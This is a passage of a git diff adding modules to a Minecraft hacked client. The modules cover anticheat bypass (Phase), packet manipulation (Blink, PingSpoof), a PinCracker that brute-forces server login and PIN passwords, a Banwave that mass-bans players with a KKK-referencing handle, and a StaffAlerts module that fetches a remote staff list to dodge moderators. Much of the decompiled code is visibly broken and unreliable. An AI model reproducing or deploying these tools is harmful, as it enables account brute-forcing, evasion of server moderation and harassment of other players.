+          mc.thePlayer.inventoryContainer.getSlot(numy).getStack().getItemDamage() : 
+          999;
+        int newD = mc.thePlayer.inventoryContainer.getSlot(i).getStack() != null ? 
+          mc.thePlayer.inventoryContainer.getSlot(i).getStack().getItemDamage() : 
+          500;
+        if ((newD <= currentD) && 
+          (newD != currentD))
+        {
+          item = i;
+          enchantmentValue = getProtValue(mc.thePlayer.inventoryContainer.getSlot(i).getStack());
+        }
+      }
+      else {
+        item = i;
+        enchantmentValue = getProtValue(mc.thePlayer.inventoryContainer.getSlot(i).getStack());
+      }
+    }
+  }
+  
+  private double getProtValue(ItemStack stack)
+  {
+    if (stack != null) {
+      return getItemdamageReduceAmount + 
+        (100 - getItemdamageReduceAmount * 4) * 
+        EnchantmentHelper.getEnchantmentLevel(field_180310_ceffectId, stack) * 4 * 
+        0.0075D;
+    }
+    return 0.0D;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/Banwave.java b/src/minecraft/com/enjoytheban/module/modules/world/Banwave.java
new file mode 100644
index 0000000..91da25d
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/Banwave.java
@@ -0,0 +1,63 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityOtherPlayerMP;
+import net.minecraft.client.entity.EntityPlayerSP;
+
+public class Banwave extends Module
+{
+  private TimerUtil timer = new TimerUtil();
+  
+  public ArrayList<net.minecraft.entity.Entity> banned;
+  private String banMessage = "twitter.com/CustomKKK";
+  
+  private Option<Boolean> tempBan = new Option("Temp Ban", "temp", Boolean.valueOf(false));
+  private Numbers<Double> banDelay = new Numbers("Delay", "delay", Double.valueOf(10.0D), Double.valueOf(1.0D), Double.valueOf(20.0D), Double.valueOf(1.0D));
+  
+  public Banwave() {
+    super("BanWave", new String[] { "dick", "banner" }, ModuleType.Player);
+    setColor(new Color(255, 0, 0).getRGB());
+    banned = new ArrayList();
+    addValues(new Value[] { tempBan, banDelay });
+  }
+  
+  public void onEnable()
+  {
+    banned.clear();
+    super.onEnable();
+  }
+  
+  @EventHandler
+  public void onUpdate(EventPreUpdate event) {
+    for (Object o : mc.theWorld.getLoadedEntityList()) {
+      if ((o instanceof EntityOtherPlayerMP)) {
+        EntityOtherPlayerMP e = (EntityOtherPlayerMP)o;
+        if ((timer.hasReached(((Double)banDelay.getValue()).doubleValue() * 100.0D)) && (!com.enjoytheban.management.FriendManager.isFriend(e.getName())) && 
+          (e.getName() != mc.thePlayer.getName()) && (!banned.contains(e)))
+        {
+
+          if (((Boolean)tempBan.getValue()).booleanValue()) {
+            mc.thePlayer.sendChatMessage("/tempban " + e.getName() + " 7d" + " " + banMessage);
+            System.out.println("/tempban " + e.getName() + " 7d" + " " + banMessage);
+          } else {
+            mc.thePlayer.sendChatMessage("/ban " + e.getName() + " " + banMessage);
+            System.out.println("/ban " + e.getName() + " " + banMessage);
+          }
+          banned.add(e);
+          timer.reset();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/Blink.java b/src/minecraft/com/enjoytheban/module/modules/world/Blink.java
new file mode 100644
index 0000000..29de530
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/Blink.java
@@ -0,0 +1,71 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPacketSend;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.mojang.authlib.GameProfile;
+import java.awt.Color;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityOtherPlayerMP;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
+import net.minecraft.network.play.client.C0APacketAnimation;
+import net.minecraft.network.play.client.C0BPacketEntityAction;
+
+
+public class Blink
+  extends Module
+{
+  private EntityOtherPlayerMP blinkEntity;
+  private List<Packet> packetList;
+  
+  public Blink()
+  {
+    super("Blink", new String[] { "blonk" }, ModuleType.Player);
+    packetList = new ArrayList();
+  }
+  
+  public void onEnable()
+  {
+    setColor(new Color(200, 100, 200).getRGB());
+    if (mc.thePlayer == null) {
+      return;
+    }
+    blinkEntity = new EntityOtherPlayerMP(mc.theWorld, new GameProfile(new UUID(69L, 96L), "Blink"));
+    blinkEntity.inventory = mc.thePlayer.inventory;
+    blinkEntity.inventoryContainer = mc.thePlayer.inventoryContainer;
+    blinkEntity.setPositionAndRotation(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, 
+      mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);
+    blinkEntity.rotationYawHead = mc.thePlayer.rotationYawHead;
+    mc.theWorld.addEntityToWorld(blinkEntity.getEntityId(), blinkEntity);
+  }
+  
+  @EventHandler
+  private void onPacketSend(EventPacketSend event) {
+    if (((event.getPacket() instanceof C0BPacketEntityAction)) || ((event.getPacket() instanceof C03PacketPlayer)) || 
+      ((event.getPacket() instanceof C02PacketUseEntity)) || 
+      ((event.getPacket() instanceof C0APacketAnimation)) || 
+      ((event.getPacket() instanceof C08PacketPlayerBlockPlacement))) {
+      packetList.add(event.getPacket());
+      event.setCancelled(true);
+    }
+  }
+  
+  public void onDisable()
+  {
+    for (Packet packet : packetList) {
+      mc.getNetHandler().addToSendQueue(packet);
+    }
+    packetList.clear();
+    mc.theWorld.removeEntityFromWorld(blinkEntity.getEntityId());
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/ChestStealer.java b/src/minecraft/com/enjoytheban/module/modules/world/ChestStealer.java
new file mode 100644
index 0000000..ee34e1a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/ChestStealer.java
@@ -0,0 +1,68 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventTick;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.inventory.ContainerChest;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+
+
+public class ChestStealer
+  extends Module
+{
+  private Numbers<Double> delay = new Numbers("Delay", "delay", Double.valueOf(50.0D), Double.valueOf(0.0D), Double.valueOf(1000.0D), Double.valueOf(10.0D));
+  
+  private TimerUtil timer = new TimerUtil();
+  
+  public ChestStealer() {
+    super("ChestStealer", new String[] { "cheststeal", "chests", "stealer" }, ModuleType.World);
+    addValues(new Value[] { delay });
+    setColor(new Color(218, 97, 127).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventTick event) {
+    if ((mc.thePlayer.openContainer != null) && ((mc.thePlayer.openContainer instanceof ContainerChest))) {
+      ContainerChest container = (ContainerChest)mc.thePlayer.openContainer;
+      
+      for (int i = 0; i < container.getLowerChestInventory().getSizeInventory(); i++) {
+        if ((container.getLowerChestInventory().getStackInSlot(i) != null) && 
+          (timer.hasReached(((Double)delay.getValue()).doubleValue())))
+        {
+          mc.playerController.windowClick(windowId, i, 0, 1, mc.thePlayer);
+          timer.reset();
+        }
+      }
+      
+      if (isEmpty()) {
+        mc.thePlayer.closeScreen();
+      }
+    }
+  }
+  
+
+  private boolean isEmpty()
+  {
+    if ((mc.thePlayer.openContainer != null) && ((mc.thePlayer.openContainer instanceof ContainerChest))) {
+      ContainerChest container = (ContainerChest)mc.thePlayer.openContainer;
+      
+      for (int i = 0; i < container.getLowerChestInventory().getSizeInventory(); i++) {
+        ItemStack itemStack = container.getLowerChestInventory().getStackInSlot(i);
+        
+        if ((itemStack != null) && (itemStack.getItem() != null)) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/Deathclip.java b/src/minecraft/com/enjoytheban/module/modules/world/Deathclip.java
new file mode 100644
index 0000000..ff7200c
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/Deathclip.java
@@ -0,0 +1,34 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.util.AxisAlignedBB;
+
+
+
+public class Deathclip
+  extends Module
+{
+  private TimerUtil timer = new TimerUtil();
+  
+  public Deathclip() {
+    super("DeathClip", new String[] { "deathc", "dc" }, ModuleType.World);
+    setColor(new Color(157, 58, 157).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    if ((mc.thePlayer.getHealth() == 0.0F) && (mc.thePlayer.onGround)) {
+      mc.thePlayer.boundingBox.offsetAndUpdate(mc.thePlayer.posX, -10.0D, mc.thePlayer.posZ);
+      if (timer.hasReached(500.0D)) {
+        mc.thePlayer.sendChatMessage("/home");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/FastPlace.java b/src/minecraft/com/enjoytheban/module/modules/world/FastPlace.java
new file mode 100644
index 0000000..ef4ff1a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/FastPlace.java
@@ -0,0 +1,22 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventTick;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+
+public class FastPlace extends Module
+{
+  public FastPlace()
+  {
+    super("FastPlace", new String[] { "fplace", "fc" }, ModuleType.World);
+    setColor(new Color(226, 197, 78).getRGB());
+  }
+  
+  @EventHandler
+  private void onTick(EventTick e)
+  {
+    mc.rightClickDelayTimer = 0;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/NoRotate.java b/src/minecraft/com/enjoytheban/module/modules/world/NoRotate.java
new file mode 100644
index 0000000..54dec68
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/NoRotate.java
@@ -0,0 +1,33 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPacketSend;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook;
+
+
+
+
+
+public class NoRotate
+  extends Module
+{
+  public NoRotate()
+  {
+    super("NoRotate", new String[] { "rotate" }, ModuleType.World);
+    setColor(new Color(17, 250, 154).getRGB());
+  }
+  
+  @EventHandler
+  private void onPacket(EventPacketSend e) {
+    if ((e.getPacket() instanceof S08PacketPlayerPosLook)) {
+      S08PacketPlayerPosLook look = (S08PacketPlayerPosLook)e.getPacket();
+      field_148936_d = mc.thePlayer.rotationYaw;
+      field_148937_e = mc.thePlayer.rotationPitch;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/Phase.java b/src/minecraft/com/enjoytheban/module/modules/world/Phase.java
new file mode 100644
index 0000000..d208c06
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/Phase.java
@@ -0,0 +1,90 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.misc.EventCollideWithBlock;
+import com.enjoytheban.api.events.world.EventMove;
+import com.enjoytheban.api.events.world.EventPostUpdate;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.math.RotationUtil;
+import java.awt.Color;
+import net.minecraft.block.state.pattern.BlockHelper;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovementInput;
+
+
+public class Phase
+  extends Module
+{
+  private Mode<Enum> mode = new Mode("Mode", "mode", PhaseMode.values(), PhaseMode.NewNCP);
+  
+  public Phase() {
+    super("Phase", new String[] { "noclip" }, ModuleType.World);
+    setColor(new Color(255, 166, 25).getRGB());
+    addValues(new Value[] { mode });
+  }
+  
+
+  @EventHandler
+  private void onBlockCollision(EventCollideWithBlock e)
+  {
+    if ((e.getBoundingBox() != null) && (getBoundingBoxmaxY > mc.thePlayer.boundingBox.minY) && 
+      (mc.thePlayer.isSneaking()) && (mode.getValue() != PhaseMode.OldNCP)) {
+      e.setBoundingBox(null);
+    }
+    if ((e.getBoundingBox() != null) && (getBoundingBoxmaxY > mc.thePlayer.boundingBox.minY) && 
+      (mode.getValue() == PhaseMode.OldNCP)) {
+      e.setBoundingBox(null);
+    }
+  }
+  
+  @EventHandler
+  private void onMove(EventMove e) {
+    if ((BlockHelper.insideBlock()) && (mc.thePlayer.isSneaking()) && (mode.getValue() == PhaseMode.SkipClip)) {
+      mc.thePlayer.boundingBox.offsetAndUpdate(
+        mc.thePlayer.movementInput.moveForward * 3.6D * 
+        Math.cos(Math.toRadians(mc.thePlayer.rotationYaw + 90.0F)) + 
+        mc.thePlayer.movementInput.moveStrafe * 3.6D * 
+        Math.sin(Math.toRadians(mc.thePlayer.rotationYaw + 90.0F)), 
+        0.0D, 
+        mc.thePlayer.movementInput.moveForward * 3.6D * 
+        Math.sin(Math.toRadians(mc.thePlayer.rotationYaw + 90.0F)) - 
+        mc.thePlayer.movementInput.moveStrafe * 3.6D * 
+        Math.cos(Math.toRadians(mc.thePlayer.rotationYaw + 90.0F)));
+    }
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPostUpdate e)
+  {
+    if (BlockHelper.insideBlock()) {
+      if ((mode.getValue() == PhaseMode.NewNCP) && (mc.thePlayer.isSneaking())) {
+        mc.thePlayer.boundingBox.offsetAndUpdate(0.0524D * Math.cos(Math.toRadians(RotationUtil.yaw() + 90.0F)), 
+          0.0D, 0.0524D * Math.sin(Math.toRadians(RotationUtil.yaw() + 90.0F)));
+      }
+      if ((mode.getValue() == PhaseMode.OldNCP) && (mc.thePlayer.isCollidedVertically)) {
+        double x = -MathHelper.sin(mc.thePlayer.getDirection()) * 0.2D;
+        double z = MathHelper.cos(mc.thePlayer.getDirection()) * 0.2D;
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + x, 
+          mc.thePlayer.posY, mc.thePlayer.posZ + z, false));
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + x, 
+          Double.MIN_VALUE, mc.thePlayer.posZ + z, true));
+        mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);
+      }
+      
+      if ((mc.thePlayer.onGround) && (mode.getValue() == PhaseMode.NewNCP))
+        mc.thePlayer.jump();
+    }
+  }
+  
+  static enum PhaseMode {
+    NewNCP,  OldNCP,  SkipClip;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/PinCracker.java b/src/minecraft/com/enjoytheban/module/modules/world/PinCracker.java
new file mode 100644
index 0000000..c21e079
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/PinCracker.java
@@ -0,0 +1,58 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+
+
+public class PinCracker
+  extends Module
+{
+  private TimerUtil time = new TimerUtil();
+  
+  int num;
+  private Option<Boolean> login = new Option("/login?", "login", Boolean.valueOf(false));
+  private Numbers<Double> delay = new Numbers("Delay", "Delay", Double.valueOf(1.0D), Double.valueOf(0.0D), Double.valueOf(20.0D), Double.valueOf(1.0D));
+  
+  public PinCracker() {
+    super("PinCracker", new String[] { "pincracker" }, ModuleType.World);
+    addValues(new Value[] { login, delay });
+  }
+  
+  @EventHandler
+  public void onUpdate(EventPreUpdate event) {
+    setColor(new Color(200, 200, 100).getRGB());
+    if (((Boolean)login.getValue()).booleanValue()) {
+      if (time.delay((float)(((Double)delay.getValue()).doubleValue() * 100.0D))) {
+        mc.thePlayer.sendChatMessage("/login " + numbers());
+        time.reset();
+      }
+    }
+    else if (time.delay((float)(((Double)delay.getValue()).doubleValue() * 100.0D))) {
+      mc.thePlayer.sendChatMessage("/pin " + numbers());
+      time.reset();
+    }
+  }
+  
+  private int numbers()
+  {
+    if (num <= 10000) {
+      num += 1;
+    }
+    return num;
+  }
+  
+  public void onDisable()
+  {
+    num = 0;
+    super.onDisable();
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/PingSpoof.java b/src/minecraft/com/enjoytheban/module/modules/world/PingSpoof.java
new file mode 100644
index 0000000..d4fe2ea
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/PingSpoof.java
@@ -0,0 +1,49 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.events.world.EventPacketSend;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.client.C00PacketKeepAlive;
+import optifine.MathUtils;
+
+public class PingSpoof extends Module
+{
+  private List<Packet> packetList = new CopyOnWriteArrayList();
+  private TimerUtil timer = new TimerUtil();
+  
+  public PingSpoof() {
+    super("PingSpoof", new String[] { "spoofping", "ping" }, ModuleType.World);
+    setColor(new Color(117, 52, 203).getRGB());
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  private void onPacketSend(EventPacketSend e) {
+    if (((e.getPacket() instanceof C00PacketKeepAlive)) && (mc.thePlayer.isEntityAlive())) {
+      packetList.add(e.getPacket());
+      e.setCancelled(true);
+    }
+    if (timer.hasReached(750.0D)) {
+      if (!packetList.isEmpty()) {
+        int i = 0;
+        double totalPackets = MathUtils.getIncremental(Math.random() * 10.0D, 1.0D);
+        for (Packet packet : packetList)
+          if (i < totalPackets)
+          {
+            i++;
+            mc.getNetHandler().getNetworkManager().sendPacket(packet);
+            packetList.remove(packet);
+          }
+      }
+      mc.getNetHandler().getNetworkManager().sendPacket(new C00PacketKeepAlive(10000));
+      timer.reset();
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/SafeWalk.java b/src/minecraft/com/enjoytheban/module/modules/world/SafeWalk.java
new file mode 100644
index 0000000..cf8315f
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/SafeWalk.java
@@ -0,0 +1,19 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+
+
+
+
+
+public class SafeWalk
+  extends Module
+{
+  public SafeWalk()
+  {
+    super("SafeWalk", new String[] { "eagle", "parkour" }, ModuleType.World);
+    setColor(new Color(198, 253, 191).getRGB());
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/StaffAlerts.java b/src/minecraft/com/enjoytheban/module/modules/world/StaffAlerts.java
new file mode 100644
index 0000000..72f1ac3
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/StaffAlerts.java
@@ -0,0 +1,82 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.Helper;
+import java.awt.Color;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Scanner;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.entity.player.EntityPlayer;
+
+
+public class StaffAlerts
+  extends Module
+{
+  public StaffAlerts()
+  {
+    super("StaffAlerts", new String[] { "staff", "stafffinder" }, ModuleType.World);
+    setColor(new Color(198, 253, 191).getRGB());
+  }
+  
+  private static List<String> staff = new ArrayList();
+  
+  private static Scanner scanner;
+  public boolean isStaff = false;
+  
+  public void onEnable()
+  {
+    checkStaff();
+    isStaff = false;
+    super.onEnable();
+  }
+  
+  @EventHandler
+  public void onUpdate(EventPreUpdate event) {
+    if (mc.theWorld.playerEntities != null) { Iterator localIterator2;
+      for (Iterator localIterator1 = mc.theWorld.playerEntities.iterator(); localIterator1.hasNext(); 
+          
+          localIterator2.hasNext())
+      {
+        Object object = localIterator1.next();
+        EntityPlayer entityPlayer = (EntityPlayer)object;
+        localIterator2 = staff.iterator(); continue;String staffxd = (String)localIterator2.next();
+        if ((entityPlayer != null) && (entityPlayer.getName().equalsIgnoreCase(staffxd)) && (!isStaff)) {
+          Helper.sendMessage(entityPlayer.getName() + " is staff!");
+          isStaff = true;
+          staff.clear();
+        }
+      }
+    }
+  }
+  
+  public void checkStaff()
+  {
+    try {
+      URLConnection openConnection = new URL("http://box.enjoytheban.com/staffnames.txt").openConnection();
+      openConnection.addRequestProperty("User-Agent", 
+        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0");
+      
+      scanner = new Scanner(new InputStreamReader(openConnection.getInputStream()));
+      
+      while (scanner.hasNextLine()) {
+        String meme = scanner.nextLine();
+        if ((!meme.contains(":")) && (!meme.contains("(")) && (meme.length() > 1)) {
+          staff.add(meme);
+        }
+      }
+      
+      scanner.close();
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/font/CFont.java b/src/minecraft/com/enjoytheban/ui/font/CFont.java
new file mode 100644
index 0000000..df414ab
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/font/CFont.java
@@ -0,0 +1,166 @@
+package com.enjoytheban.ui.font;
+
+import java.awt.Color;
+import java.awt.Font;
+import java.awt.FontMetrics;
+import java.awt.Graphics2D;
+import java.awt.Rectangle;
+import java.awt.RenderingHints;
+import java.awt.geom.Rectangle2D;
+import java.awt.image.BufferedImage;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import org.lwjgl.opengl.GL11;
+
+public class CFont
+{
+  private final float imgSize = 512.0F;
+  protected CharData[] charData = new CharData['Ā'];
+  protected Font font;
+  protected boolean antiAlias;
+  protected boolean fractionalMetrics;
+  protected int fontHeight = -1;
+  protected int charOffset = 0;
+  protected DynamicTexture tex;
+  
+  public CFont(Font font, boolean antiAlias, boolean fractionalMetrics) {
+    this.font = font;
+    this.antiAlias = antiAlias;
+    this.fractionalMetrics = fractionalMetrics;
+    tex = setupTexture(font, antiAlias, fractionalMetrics, charData);
+  }
+  
+  protected DynamicTexture setupTexture(Font font, boolean antiAlias, boolean fractionalMetrics, CharData[] chars) {
+    BufferedImage img = generateFontImage(font, antiAlias, fractionalMetrics, chars);
+    try {
+      return new DynamicTexture(img);
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    return null;
+  }
+  
+  protected BufferedImage generateFontImage(Font font, boolean antiAlias, boolean fractionalMetrics, CharData[] chars) {
+    int imgSize = 512;
+    BufferedImage bufferedImage = new BufferedImage(imgSize, imgSize, 2);
+    Graphics2D g = (Graphics2D)bufferedImage.getGraphics();
+    g.setFont(font);
+    g.setColor(new Color(255, 255, 255, 0));
+    g.fillRect(0, 0, imgSize, imgSize);
+    g.setColor(Color.WHITE);
+    g.setRenderingHint(RenderingHints.KEY_FRACTIONALMETRICS, fractionalMetrics ? RenderingHints.VALUE_FRACTIONALMETRICS_ON : RenderingHints.VALUE_FRACTIONALMETRICS_OFF);
+    g.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, antiAlias ? RenderingHints.VALUE_TEXT_ANTIALIAS_ON : RenderingHints.VALUE_TEXT_ANTIALIAS_OFF);
+    g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, antiAlias ? RenderingHints.VALUE_ANTIALIAS_ON : RenderingHints.VALUE_ANTIALIAS_OFF);
+    FontMetrics fontMetrics = g.getFontMetrics();
+    int charHeight = 0;
+    int positionX = 0;
+    int positionY = 1;
+    for (int i = 0; i < chars.length; i++) {
+      char ch = (char)i;
+      CharData charData = new CharData();
+      Rectangle2D dimensions = fontMetrics.getStringBounds(String.valueOf(ch), g);
+      width = (getBoundswidth + 8);
+      height = getBoundsheight;
+      if (positionX + width >= imgSize) {
+        positionX = 0;
+        positionY += charHeight;
+        charHeight = 0;
+      }
+      if (height > charHeight) {
+        charHeight = height;
+      }
+      storedX = positionX;
+      storedY = positionY;
+      if (height > fontHeight) {
+        fontHeight = height;
+      }
+      chars[i] = charData;
+      g.drawString(String.valueOf(ch), positionX + 2, positionY + fontMetrics.getAscent());
+      positionX += width;
+    }
+    return bufferedImage;
+  }
+  
+  public void drawChar(CharData[] chars, char c, float x, float y) throws ArrayIndexOutOfBoundsException {
+    try {
+      drawQuad(x, y, width, height, storedX, storedY, width, height);
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+  }
+  
+  protected void drawQuad(float x, float y, float width, float height, float srcX, float srcY, float srcWidth, float srcHeight) {
+    float renderSRCX = srcX / 512.0F;
+    float renderSRCY = srcY / 512.0F;
+    float renderSRCWidth = srcWidth / 512.0F;
+    float renderSRCHeight = srcHeight / 512.0F;
+    GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY);
+    GL11.glVertex2d(x + width, y);
+    GL11.glTexCoord2f(renderSRCX, renderSRCY);
+    GL11.glVertex2d(x, y);
+    GL11.glTexCoord2f(renderSRCX, renderSRCY + renderSRCHeight);
+    GL11.glVertex2d(x, y + height);
+    GL11.glTexCoord2f(renderSRCX, renderSRCY + renderSRCHeight);
+    GL11.glVertex2d(x, y + height);
+    GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY + renderSRCHeight);
+    GL11.glVertex2d(x + width, y + height);
+    GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY);
+    GL11.glVertex2d(x + width, y);
+  }
+  
+  public int getStringHeight(String text) {
+    return getHeight();
+  }
+  
+  public int getHeight() {
+    return (fontHeight - 8) / 2;
+  }
+  
+  public int getStringWidth(String text) {
+    int width = 0;
+    for (char c : text.toCharArray()) {
+      if ((c < charData.length) && (c >= 0)) width += charData[c].width - 8 + charOffset;
+    }
+    return width / 2;
+  }
+  
+  public boolean isAntiAlias() {
+    return antiAlias;
+  }
+  
+  public void setAntiAlias(boolean antiAlias) {
+    if (this.antiAlias != antiAlias) {
+      this.antiAlias = antiAlias;
+      tex = setupTexture(font, antiAlias, fractionalMetrics, charData);
+    }
+  }
+  
+  public boolean isFractionalMetrics() {
+    return fractionalMetrics;
+  }
+  
+  public void setFractionalMetrics(boolean fractionalMetrics) {
+    if (this.fractionalMetrics != fractionalMetrics) {
+      this.fractionalMetrics = fractionalMetrics;
+      tex = setupTexture(font, antiAlias, fractionalMetrics, charData);
+    }
+  }
+  
+  public Font getFont() {
+    return font;
+  }
+  
+  public void setFont(Font font) {
+    this.font = font;
+    tex = setupTexture(font, antiAlias, fractionalMetrics, charData);
+  }
+  
+  protected class CharData
+  {
+    public int width;
+    public int height;
+    public int storedX;
+    public int storedY;
+    
+    protected CharData() {}
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/font/CFontRenderer.java b/src/minecraft/com/enjoytheban/ui/font/CFontRenderer.java
new file mode 100644
index 0000000..0dbbfd6
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/font/CFontRenderer.java
@@ -0,0 +1,350 @@
+package com.enjoytheban.ui.font;
+
+import java.awt.Font;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import org.lwjgl.opengl.GL11;
+
+
+
+public class CFontRenderer
+  extends CFont
+{
+  protected CFont.CharData[] boldChars = new CFont.CharData['Ā'];
+  protected CFont.CharData[] italicChars = new CFont.CharData['Ā'];
